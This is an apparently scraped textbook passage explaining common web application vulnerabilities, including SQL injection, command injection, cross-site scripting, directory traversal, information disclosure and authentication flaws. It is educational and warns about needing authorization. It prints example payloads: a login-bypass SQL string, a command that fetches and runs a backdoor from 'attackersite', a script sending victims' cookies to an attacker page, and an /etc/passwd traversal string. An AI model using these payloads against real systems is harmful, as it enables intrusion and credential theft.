Russian IT Security

Web applications are one of the most vulnerable points on an organization’s network. Most Web sites contain a combination of commercial applications and open-source scripts, making it very difficult to keep everything up-to-date with security patches. Even more problematic are custom Web applications, which are rarely designed with security in mind or audited for vulnerabilities. As a result of these insecurities, Web applications are highly targeted by attackers.

Web application vulnerabilities can be classified into a number of categories, each explored below. The majority of these vulnerabilities, however, are caused by a lack of proper input validation by the application before processing user-supplied data. This can allow attackers to disclose information about the site, steal information from backend databases, or execute arbitrary code on the Web server. Below are some of the more common problems that can occur from insufficient input validation and sanitation.

SQL Injection

Many Web applications rely on backend databases for information storage and retrieval. Sometimes a script will perform a database query using input supplied from a Web page, without first verifying that the input does not contain any escape characters. Consider the following example, which can be used to log a user on to a site:

Query = "SELECT * FROM users WHERE username = ‘{$_POST['user']}’ AND password = ‘{$_POST['pass']}’ ";

The query string is passed to a database holding usernames and passwords; if a result is returned, it implies that the username and password are both correct. However, consider if someone used username "bob" and password "OR 1 = 1." The query string would turn into the following:

"SELECT * FROM users WHERE username = ‘bob’ AND password = ” OR 1=1 ";

In this case, OR 1 = 1 means the statement will always return something; therefore, the script might be fooled into thinking that the user is authenticated. By injecting specially crafted queries, it is also possible to disclose potentially sensitive information from the database.

Warning

FWhile it is tempting to start testing Web sites for security issues such as Structured Query Language (SQL) injections, it is important to realize the legal ramifications of doing so. Actions as small as typing some characters into a Web form have landed security professionals in jail. If you are going to conduct security tests against a Web site, make sure you have authorization before starting.

In some databases, a system can be compromised using SQL injection attacks. Default installations of Microsoft SQL Server have a high number of stored procedures enabled that can be used for malicious purposes. These stored procedures can be executed in an injected SQL string. One of the worst stored procedures is Master. dbo. xp_cmdshell, Which is used to execute an arbitrary command with the permissions of the SQL server. Depending on the privileges that the vulnerable script has, this procedure may not be available to an attacker conducting a SQL injection attack. However, there are a variety of other procedures that attackers can use to attack vulnerable hosts.

Code Injection

Similar to SQL injection attacks, sometimes user-supplied strings are not properly checked for escape characters before being passed to commands as arguments. Consider the following example, where a PHP script takes a string supplied from a Web page form and passes it to the nslookup utility.

<form action="nslookup. php" method="POST"> Hostname: <input name="hostname" type="text"> <input type="submit" value="Lookup"> </form> <?php

System("nslookup {$_POST['hostname']}");

?>

If ;ls / – la Are supplied in the hostname form, the script will execute the command Nslookup;ls / – la, Resulting in a listing of the root directory being printed out (shown in Figure 8.5).This could be used to execute any other command or series of commands on the target Web server. The Wget And Perl Commands could be used to download and run a backdoor on the Web server by supplying ;wget Http://attackersite/backdoor. pl;perl backdoor. pl To the script. Other characters that can cause similar vulnerabilities are , And |.

Figure 8.5 Exploitation of nslookup. php Code Injection Vulnerability

While the previous example is oversimplified, there are many examples of code injection vulnerabilities in real-world Web applications. The following line of code in AWStats. pl Created a code execution vulnerability that was widely exploited on the Internet (CVE-2005-0116).

If (open(CONFIG,"$searchdir$PROG.$SiteConfig. conf"))

In this case, a user can indirectly specify a value for the $searchdir Variable by assigning that value to $configdir. If the user specified a value that began with |, everything after would be interpreted as commands and executed. An example of an attack string is Http://victim/awstats. pl? configdir=|/bin/ls|.

Another real-world example of a code injection vulnerability is the Horde Help Viewer vulnerability that was disclosed in March 2006 (CVE-2006-1491). In this vulnerability, user-supplied data was not properly validated and sanitized before being passed to the PHP Eval() Function. This function evaluates the string passed to it as PHP code, which allowed attackers to supply arbitrary PHP code to be executed on the Web server.

Sometimes it is possible for an attacker to specify an entire file to execute. Scripting languages usually have functions similar to PHP’s Require() And Include(), Which can be used to include script code from other files. If variables passed to these functions are not properly set and validated, it may be possible to supply a script on a remote server that will be executed by the script on the vulnerable site.

Cross-Site Scripting

Cross-site scripting (XSS) vulnerabilities allow attackers to inject code or Hypertext Markup Language (HTML) into a Web page that will be executed when a different user visits that page. These attacks target visitors to a Web site, not the site itself, and occur when a Web page does not properly sanitize user input before using it in output.

The following is an example of an XSS attack on the search page of a Web site. When the search term Hack the stack Is entered and you click Submit, The following line of text appears at the top of the results page:

Search results for "hack the stack"™

Now, enter a search term such as <SCRIPT>alert("XSS")</SCRIPT> And click Submit Again. This time a message pops up that contains "XSS." When the page attempted to print out the search term at the top of the page, the term was interpreted as code and the script was executed. What if you sent a link to the search page, such as the following:

Http://vulnerablesite/search. asp? search=<SCRIPT>alert("XSS")</SCRIPT>

You would be able to specify JavaScript to execute in the victim’s browser as though it had come from the vulnerable site.

XSS vulnerabilities usually fall into one of three categories. The most common category, called Reflected vulnerabilities, Occurs when data supplied by a Web client is used on a server-side Web page before it is properly sanitized. If an attacker convinces a victim to click on a malicious link to the vulnerable site, he or she can supply code in the Universal Resource Locator (URL) that will be executed in the victim’s browser. The victim may trust the site that contains the vulnerability, which allows the attacker to hijack that trust. The previous example showed a reflected vulnerability, where it was possible to inject code into the URL. To make the URL look less suspicious, you can also use encodings such as Unicode to hide the injected script.

The second type of XSS attack, called Stored vulnerabilities, Occurs when the malicious script is stored on the vulnerable server (e. g., you may be able to post a message to a forum that will be interpreted as HTML when other users read the post). This type of attack allows the attacker to inject a malicious script onto the page that will be executed with the trust level of the Web site.

XSS vulnerabilities do not always exist on server-side pages. The third category of XSS attacks, called Local vulnerabilities, Occurs when the XSS vulnerability exists in a local client-side script. While much rarer than the two previously discussed categories, local vulnerabilities can often be more devastating, because local scripts usually run with the same privileges as the Web browser.

While they may not seem as dangerous as some of the other attacks discussed so far, attackers can do serious damage using XSS vulnerabilities. Since a script injected by an XSS attack is executed as though it came from the vulnerable site, it has access to cookies, session IDs, and other sensitive information for that site. An attacker can therefore provide a malicious script that steals this sensitive information. The following malicious script can be used to steal a victim’s cookie from a vulnerable site:

<script>document. location=’Http://attackersite/evilpage? victimcookie=’+document. c ookie</script>

When the script is executed on the victim’s machine, it will pass the victim’s cookie to "evilpage" on the attacker’s site.

An attacker can also supply a script that exploits a vulnerability in the victim’s Web browser, which could allow the attacker to execute arbitrary code on a victim’s machine. A number of code execution vulnerabilities have recently been discovered in popular Web browsers (e. g., Microsoft Internet Explorer, Firefox, and Opera), that can be exploited by malicious JavaScript. An attacker could inject JavaScript code similar to the script below using an XSS vulnerability in order to exploit one of these vulnerabilities.

<SCRIPT SRC=’Http://attackersite/browser_exploit. js’></SCRIPT>

Directory Traversal Attacks

A directory traversal occurs when you are able to traverse out of the current directory into parent directories, usually by supplying a series of (dot dot slashes). Sometimes it is possible to back out of the root directory of the Web server and traverse into other directories on the filesystem. Strings such as ../../../../../etc/passwd Can often be used to access sensitive files on vulnerable sites. Typically, directory traversal attacks allow the attacker to access or overwrite files that are not intended to be accessible.

Directory traversal vulnerabilities arise when Web applications or underlying server software fail to scan user input for potentially dangerous strings before using the input to access the filesystem. Sometimes input validation is performed, but the validation fails to take character encodings into account. In 2000, a directory traversal vulnerability was discovered in Microsoft’s Internet Information Server (IIS) Web server that could be exploited by encoding parts of the traversal string with Extended Unicode. A number of high-profile worms, including sadmind and Nimda, propagated using this vulnerability.

A variety of software has been affected by directory traversal vulnerabilities in the past. In addition to Web applications and Web servers, a number of FTP servers and archiving utilities have also suffered from directory traversal vulnerabilities.

Information Disclosure

In addition to disclosing file contents with attacks such as directory traversals, it is sometimes possible to disclose other potentially sensitive information about a system. One common example of this is an Error page That discloses the path of the Web server’s root directory. While path disclosure is not a serious security risk by itself, it can aid attackers who are performing reconnaissance on the site. Any bit of information can be helpful to an attacker.

Sometimes Web applications disclose other information about the system, such as software versions and configurations. Determining the operating system and other software the host is running can help an attacker identify vulnerabilities that can be used to compromise the site.

An example of a script that leaks a significant amount of system information is Phpinfo. php, Which is part of a default PHP install. This script provides the operating system

Version, the PHP version, versions of other software on the host, the path of the PHP configuration file, and so on. Try searching Google for inurl:phpinfo. php to see exactly how much information is leaked. While the script is meant for checking configuration settings, it is not a good idea to leave it accessible on a production site.

Authentication and Access Control Vulnerabilities

We have already seen how some vulnerabilities such as XSS allow attackers to steal cookies, session IDs, and other data used by sites for authentication and access control.

Sometimes, a vulnerability exists in the way that authentication and access control is implemented, allowing these restrictions to be bypassed. Security firm iDefense disclosed a number of such vulnerabilities in the Linksys WRT54G router’s Web interface in 2005. Multiple scripts on the router’s Web interface saved user-supplied data to memory before verifying that the user had successfully authenticated. This allowed an unauthenticated user to update configuration information and change the router’s firmware in non-volatile memory. The router only checked that the user had authenticated before rebooting the router, not before saving the information. As a result, information supplied by an unauthenti-cated user would take effect the next time the router was rebooted. In another vulnerable script on the router, the authentication check was improperly performed, allowing an unau-thenticated user to change various configuration settings for the router, including the administrative password and firewall rules.

Another common type of authentication vulnerability is the use of a default password. If software does not force you to change the default password upon installation, many users will leave the default password in place. This can provide attackers with access to administrative pages or other restricted areas of a Web site using the known default password for the given software.

CGI Vulnerabilities

CGI applications written in languages such as C and C++ are frequently deployed on Web sites and exposed to user input. Improper input validation in these applications can lead to many of the vulnerabilities discussed earlier in this section. In addition, vulnerabilities such as buffer overflows and format string errors can be present, allowing attackers to execute arbitrary code with the privileges of the Web server.